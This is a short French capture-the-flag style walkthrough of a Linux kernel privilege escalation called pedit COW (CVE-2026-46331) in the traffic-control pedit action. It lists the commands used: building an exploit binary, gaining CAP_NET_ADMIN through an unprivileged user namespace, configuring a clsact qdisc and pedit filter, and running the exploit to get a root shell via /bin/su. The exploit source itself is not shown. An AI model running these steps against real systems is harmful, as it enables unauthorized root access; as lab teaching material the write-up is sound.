
Rédaction et étapes d'exploitation pour la vulnérabilité pedit COW (CVE-2026-46331)
Write-up et étapes d'exploitation pour la vulnérabilité pedit COW (CVE-2026-46331).
Cette démonstration illustre pedit COW, une faille du noyau Linux dans l'action d'édition de paquets du sous-système de contrôle de trafic (act_pedit). La vulnérabilité permet à un utilisateur non privilégié d'écraser une copie en mémoire d'un binaire setuid-root, obtenant ainsi un shell root sans jamais toucher au fichier sur le disque.
L'environnement démarre en tant qu'utilisateur non privilégié (karen).
id
cd ~/packet_edit_meme
make packet_edit_meme
La configuration du contrôle de trafic nécessite normalement les privilèges CAP_NET_ADMIN, qu'un utilisateur ordinaire ne possède pas. J'ai utilisé des espaces de noms utilisateur non privilégiés pour obtenir cette capacité.
unshare -r -n
Dans l'espace de noms, j'ai configuré la qdisc clsact et appliqué un filtre pour déclencher l'action pedit.
tc qdisc del dev lo clsact
tc qdisc add dev lo clsact
tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64
Après avoir configuré l'environnement, j'ai quitté le shell root et exécuté l'exploit en tant qu'utilisateur non privilégié.
exit
./packet_edit_meme
L'exploit a réussi à écraser l'entrée pour /bin/su, fournissant un shell root interactif.
# cat /root/flag.txt
THM{YOUR_FLAG_HERE}